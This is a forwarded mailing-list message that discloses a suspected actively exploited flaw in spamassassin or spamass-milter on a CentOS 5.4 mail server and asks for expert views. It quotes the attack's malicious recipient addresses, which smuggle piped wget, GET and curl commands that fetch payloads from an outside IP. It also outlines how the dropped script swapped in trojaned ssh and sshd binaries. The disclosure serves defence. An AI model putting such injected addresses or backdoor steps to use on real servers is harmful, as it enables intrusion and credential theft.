The following may indicate a security hole.  Paul is a competent
fellow, so I'm taking this seriously.  Perhaps somebody more 
competent than both of us has a more informed opinion.

Keith

----- Forwarded message from Paul Heinlein <[log in to unmask]> -----

This is a heads-up that there might be an actively exploited 
vulnerability in either the spamassassin or spamass-milter package. 
I'm still unsure where the problem lies, but here's what I know.

The system described below runs x86_64 release of CentOS 5.4. SELinux 
was, at the time, in Permissive mode. The packages involved, as far as 
I can tell, are

  * spamassassin-3.2.5-1.el5.rf (rpmforge)
  * spamass-milter-0.3.1-1.el5.rf (rpmforge)
  * sendmail-8.13.8-2.el5 (centos)

Mar 15 05:47 (times are PDT): Several messages arrived with suspicious 
recipients:

  <root+:>
  <root+:"|wget http://61.100.185.177/busy-1.php">
  <root+:"|GET http://61.100.185.177/busy-2.php">
  <root+:"|curl http://61.100.185.177/busy-3.php">

Sendmail recognized the addresses as syntactically evil, but a process 
running under the spamass_milter_t context ran wget, GET, and curl and 
connected to the IP address in the addresses above.

The file(s) downloaded by these processes executed a shell script. It 
did several things, the highlights of which are

  1. It downloaded, uncompressed, and untar-ed a file named
     xS.tar.gz. The resulting directory name was /xS.

  2. It tried to add a unix group and user named "sshd"; the attempt
     failed, probably because there's already an sshd user and group
     on the system.

  3. It installed 32-bit Linux executables in place of /usr/bin/ssh
     and /usr/sbin/sshd. The new executables were dynamically linked
     against a small number of libraries, but most of the supporting
     libraries had been compiled directly into the applications.

  4. It installed a minimal /etc/ssh/sshd_config and an empty
     /etc/ssh/ssh_config.

  5. After verifying that sshd was in the process table, it
     removed the /xS directory.

  6. It created an empty file name /dev/devno

  7. It restarted sshd using /sbin/service

Again, this was all done under the spamass_milter_t security context.

I don't know enough about the sendmail <-> spamass-milter <-> spamd 
pipeline to have a definitive idea about what application misparsed 
the piped e-mail addresses and executed them.

I saw the attack again this morning, but by then I'd cleaned things up 
and gotten SELinux back into Enforcing mode, which prevented the 
exploit from working again.

-- 
Paul Heinlein <> [log in to unmask] <> http://www.madboa.com/


----- End forwarded message -----

-- 
Keith Lofstrom          [log in to unmask]         Voice (503)-520-1993
KLIC --- Keith Lofstrom Integrated Circuits --- "Your Ideas in Silicon"
Design Contracting in Bipolar and CMOS - Analog, Digital, and Scan ICs